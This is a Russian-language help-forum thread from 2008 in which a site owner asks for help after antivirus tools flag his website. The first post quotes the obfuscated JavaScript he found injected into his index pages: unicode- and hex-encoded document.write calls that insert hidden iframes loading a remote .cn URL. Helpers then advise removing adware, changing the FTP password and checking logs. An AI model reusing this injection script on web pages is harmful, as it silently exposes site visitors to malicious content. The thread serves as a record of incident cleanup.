Показано с 1 по 10 из 10.

видимо троян пролез на сайт (заявка № 17842)

  1. #1
    Junior Member Репутация
    Регистрация
    10.02.2008
    Сообщений
    5
    Вес репутации
    33

    Thumbs up видимо троян пролез на сайт

    Часто добавляю на сайт (tracers.ru) инфу и файлы по фтп. Пользователи начали писать, что антивирусы ругаются при входе на сайти в галерею (на Trojan.Clicker скрипт). Провёл полную проверку компа Авастом, CureIt, AVZ и HijackThis. Отчёты в прикреплённых файлах. Нашёл у себя Авастом несколько троянов и удалил их. В теле главной страницы и в теле страницы галереи появились строчки:

    "<script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\u0063
    \u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u 002f\u0077\u0070\u0075\u0070\u0064\u0061\u0074\u00 65\u0073\u002e\
    u0063\u006e\u002f\u0069\u006e\u002e\u0063\u0067\u0 069\u003f\u0032\u0022\u0020\u0077\u0069\u0064\u007 4\u0068\u003d\u0022\
    u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0 074\u003d\u0022\u0030\u0022\u0020\u0066\u0072\u006 1\u006d\u0065\u0062\
    u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0 022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006 d\u0065\u003e')
    </script><script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\
    u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u0 02f\u002f\u0077\u0070\u0075\u0070\u0064\u0061\u007 4\u0065\u0073\u002e\
    u0063\u006e\u002f\u0069\u006e\u002e\u0063\u0067\u0 069\u003f\u0032\u0022\u0020\u0077\u0069\u0064\u007 4\u0068\u003d\u0022\
    u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0 074\u003d\u0022\u0030\u0022\u0020\u0066\u0072\u006 1\u006d\u0065\u0062\
    u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0 022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006 d\u0065\u003e')
    </script><script>function v47ac7682dcde0(v47ac7682dd5af){ return(parseInt(v47ac7682dd5af,16));}
    function v47ac7682ded20(v47ac7682df4ef){ var v47ac7682dfcbe='';for(v47ac7682e048d=0; v47ac7682e048d<v47ac7682df4ef.length; v47ac7682e048d+=2)
    { v47ac7682dfcbe+=(String.fromCharCode(v47ac7682dcde 0(v47ac7682df4ef.substr(v47ac7682e048d, 2))));}return v47ac7682dfcbe;}
    document.write(v47ac7682ded20('3C696672616D65206E6 16D653D2733653939383427207372633D27687474703A2F2F7 770757064617465732E636E2F696E2E6367693F32272077696 474683D323533206865696768743D353830207374796C653D2 7646973706C61793A6E6F6E65273E3C2F696672616D653E')) ;
    </script>"

    Которые тоже удалил.
    Сейчас вроде и на компе и на сайте чисто, но у пользователей Касперский продолжает ругаться. Помогите решить причину и не допустить её возникновения в дальнейшем.
    Вложения Вложения

  2. Реклама
     

  3. #2
    Global Moderator Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    26.12.2006
    Адрес
    Vladivostok
    Сообщений
    23,300
    Вес репутации
    1551
    1. ConnectionServices, BitAccelerator, ContentSaver - это adware, настоятельно рекомендуется деинсталлировать.
    2. Поищите copy.exe через AVZ - Сервис - Поиск файлов на диске, если найдется, пришлите по правилам.
    3. Под Вистой надо запускать AVZ от имени Администратора.
    I am not young enough to know everything...

  4. #3
    Junior Member Репутация
    Регистрация
    10.02.2008
    Сообщений
    5
    Вес репутации
    33
    Спасибо за помощь. По первому пункту - всё удалил, по второму - copy.exe не нашёл. по третьему - запустил =)
    Каковы дальнейшие действия?

  5. #4
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    10.01.2007
    Сообщений
    22,817
    Вес репутации
    1497
    по 3- му запустите от имени администратора и сделайте новый комплект логов ...

  6. #5
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для pig
    Регистрация
    17.09.2004
    Адрес
    Апатиты, Мурманская область, Россия
    Сообщений
    10,629
    Вес репутации
    1288
    Онлайн-проверка Dr.Web:
    tracers.ru - archive HTML
    >tracers.ru/JavaScript.0 - OK
    tracers.ru - OK
    У вас там по жизни скрипт на странице есть? Если нет, то опять внедрили. И Доктор его не распознаёт

    Пароль на FTP надо поменять.

  7. #6
    Expert Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для DVi
    Регистрация
    28.08.2006
    Адрес
    moscow
    Сообщений
    3,698
    Вес репутации
    2147
    Я сейчас зашел (правда, через FF с отключенными скриптами) - КИС7 не ругнулся. Судя по исходному коду главной страницы, сейчас на сайте чисто.

  8. #7
    Junior Member Репутация
    Регистрация
    10.02.2008
    Сообщений
    5
    Вес репутации
    33
    pig, скрипт там есть, но он не вредоносный (скрипт таймера), Вебом и McAfee я тоже онлайн проверял - всё чисто =)))
    DVi, я поменял пароль на ФТП и вычищал этот скрипт из всех (!) индексных файлов. он мне по всем файлам index.php и index.html прописался =)))
    Сейчас вроде всё в норме, но на всякий случай вышлю ещё раз результаты тестов AVZ.
    Последний раз редактировалось DiamondTracer; 10.02.2008 в 20:45.

  9. #8
    Junior Member Репутация
    Регистрация
    10.02.2008
    Сообщений
    5
    Вес репутации
    33
    Новые логи AVZ
    Вложения Вложения

  10. #9
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    10.01.2007
    Сообщений
    22,817
    Вес репутации
    1497
    в логах ничего подозрительного .... (корзину только очистить)

  11. #10
    Junior Member Репутация
    Регистрация
    10.02.2008
    Сообщений
    5
    Вес репутации
    33
    Спасибо. Значит, проблема решена, так как страницы чисты от кода и жалобы больше но поступают. Благодарю за помощь

  • Уважаемый(ая) DiamondTracer, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:


    Надеемся больше никогда не увидеть ваш компьютер зараженным!

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.
  • Присоединяйтесь к нам в соцсетях!

    Мы делаем все возможное, чтобы помогать людям в защите и лечении компьютеров.

    Похожие темы

    1. троян блокирует ваш сайт
      От oleg4er в разделе Помогите!
      Ответов: 7
      Последнее сообщение: 25.05.2010, 21:56
    2. Троян ??? в wm keeper classic 3.9.1.0 (оф.сайт)
      От sambb в разделе Спам и мошенничество в сети
      Ответов: 4
      Последнее сообщение: 01.05.2010, 16:44
    3. Видимо, троян
      От maxxxik в разделе Помогите!
      Ответов: 8
      Последнее сообщение: 22.02.2009, 08:47
    4. Видимо троян...
      От FlyCry в разделе Помогите!
      Ответов: 1
      Последнее сообщение: 11.12.2007, 02:23
    5. Сайт Rbc.ru распространял опасный троян
      От ALEX(XX) в разделе Новости интернет-пространства
      Ответов: 12
      Последнее сообщение: 26.06.2007, 18:52

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.00504 seconds with 23 queries